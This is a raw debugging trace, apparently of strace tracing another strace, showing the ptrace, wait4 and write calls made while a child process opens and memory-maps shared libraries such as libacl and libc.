rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
write(2, ") = -1 ENOENT (No such file"..., 47) = 47
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ff662b]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff6628, [0x2f62696c2f00312e]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff6630, [0x732e6c636162696c]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff6638, [0x6162696c00312e6f]) = 0
write(2, "open(\"/lib/libacl.so.1\", O_RDONL"..., 33) = 33
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
write(2, ") = 3\n", 11) = 11
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffdad8]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x340]) = 0
write(2, "read(3, ", 8) = 8
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x340]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdad8, [0x10102464c457f]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdae0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdae8, [0x1003e0003]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdaf0, [0x1d90]) = 0
write(2, "\"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0"..., 83) = 83
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd970]) = 0
write(2, "fstat(3, ", 9) = 9
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd970, [0x801]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd978, [0x209fe]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd980, [0x1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd988, [0x81a4]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd990, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd998, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a0, [0x79e8]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a8, [0x1000]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b0, [0x40]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b8, [0x4d821b31]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c0, [0x28582bb8]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c8, [0x4c0e9430]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d8, [0x4d340da7]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e0, [0xc7fb8ea]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f8, [0]) = 0
write(2, "{st_mode=S_IFREG|0644, st_size=3"..., 48) = 48
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x22]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(NULL, 4096, PROT_READ|PROT_"..., 71) = 71
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7fde000]) = 0
write(2, ") = 0x7ffff7fde000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2071d0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x802]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(NULL, 2126288, PROT_READ|PR"..., 72) = 72
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff77ae000]) = 0
write(2, ") = 0x7ffff77ae000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff77b5000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1ff000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
write(2, "mprotect(0x7ffff77b5000, 2093056"..., 43) = 43
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff79b4000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x812]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x6000]) = 0
write(2, "mmap(0x7ffff79b4000, 8192, PROT_"..., 95) = 95
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff79b4000]) = 0
write(2, ") = 0x7ffff79b4000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
write(2, "close(3", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") "..., 37) = 37
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
write(2, ") = -1 ENOENT (No such file"..., 47) = 47
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ff4fe7]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff4fe0, [0x2f00362e6f732e63]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff4fe8, [0x6362696c2f62696c]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff4ff0, [0x696c00362e6f732e]) = 0
write(2, "open(\"/lib/libc.so.6\", O_RDONLY", 31) = 31
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
write(2, ") = 3\n", 13) = 13
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffdaa8]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x340]) = 0
write(2, "read(3, ", 8) = 8
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x340]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdaa8, [0x10102464c457f]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdab0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdab8, [0x1003e0003]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdac0, [0x1eea0]) = 0
write(2, "\"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0"..., 84) = 84
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd940]) = 0
write(2, "fstat(3, ", 9) = 9
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd940, [0x801]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd948, [0x20b41]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd950, [0x1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd958, [0x81ed]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd960, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd968, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd970, [0x17fd88]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd978, [0x1000]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd980, [0xc00]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd988, [0x4d81a77b]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd990, [0x494e8e1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd998, [0x4d39feaf]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a8, [0x4d8055e9]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b0, [0xecc2d69]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c8, [0]) = 0
write(2, "{st_mode=S_IFREG|0755, st_size=1"..., 50) = 50
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x382828]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x802]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
